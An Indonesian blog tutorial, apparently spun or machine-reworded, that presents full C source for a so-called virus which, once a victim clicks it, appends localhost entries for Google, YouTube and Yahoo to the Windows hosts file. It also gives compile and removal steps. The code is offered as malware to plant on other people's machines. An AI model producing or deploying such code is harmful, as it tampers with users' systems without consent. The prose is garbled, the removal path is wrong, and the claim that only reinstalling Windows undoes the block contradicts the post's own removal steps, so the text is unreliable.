Lompat ke konten Lompat ke sidebar Lompat ke footer

Virus Untuk Memblokir Situs Web



Program Virus untuk Memblokir Situs Web




Sebagian besar dari kita bersahabat dengan virus yang dipakai untuk memblokir situs Orkut dan Youtube. Jika Anda ingin tahu wacana menciptakan virus ibarat itu pada Anda sendiri, di sini yakni bagaimana hal itu sanggup dilakukan. Seperti biasa, saya akan memakai bahasa pemrograman favorit saya 'C' untuk menciptakan virus pemblokiran situs web ini. Saya akan memperlihatkan pengantar singkat wacana virus ini sebelum saya terjun ke jargon teknis.

Virus ini telah dibentuk secara langsung di 'C'. Jadi, siapa pun yang mempunyai pengetahuan dasar wacana C akan sanggup memahami kerja virus. Virus ini hanya perlu diklik satu kali oleh korban. Setelah diklik, itu akan memblokir daftar situs web yang telah ditentukan dalam arahan sumber. Korban tidak akan pernah sanggup menjelajahi situs web tersebut kecuali beliau menginstal ulang sistem operasi. Pemblokiran ini tidak hanya terbatas pada IEor Firefox. Jadi, sekali diblokir, situs tidak akan muncul di salah satu kegiatan browser.

CATATAN: Anda juga sanggup memblokir situs web secara manual. Tapi, di sini saya telah menciptakan virus yang mengotomatiskan semua langkah yang terlibat dalam pemblokiran. Proses pemblokiran manual dijelaskan di sini broo Cara Memblokir Situs Web?

Berikut ini yakni arahan sumber virus.


#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{


int success=0;
success=find_root();
if(success)
block_site();
}


Bagaimana cara mengkompilasi?

Untuk panduan kompilasi langkah demi langkah, sanggup liat di sini bro Cara menyusun Program C.
Pengujian

1. Untuk menguji, jalankan modul yang dikompilasi. Ini akan memblokir situs yang terdaftar di arahan sumber.

2. Setelah Anda menjalankan file block_Site.exe, restart kegiatan browser Anda. Kemudian, ketik URL situs yang diblokir dan Anda akan melihat browser menampilkan kesalahan "Halaman tidak sanggup ditampilkan".

3. Untuk menghapus virus ketik yang berikut ini Run.

% windir% \ system32 \ drivers \ dll

4. Di sana, buka file berjulukan "host" memakai notepad. Di bab bawah file yang dibuka Anda akan melihat sesuatu ibarat ini

127.0.0.1 google.com

5. Hapus semua entri yang berisi nama-nama situs yang diblokir.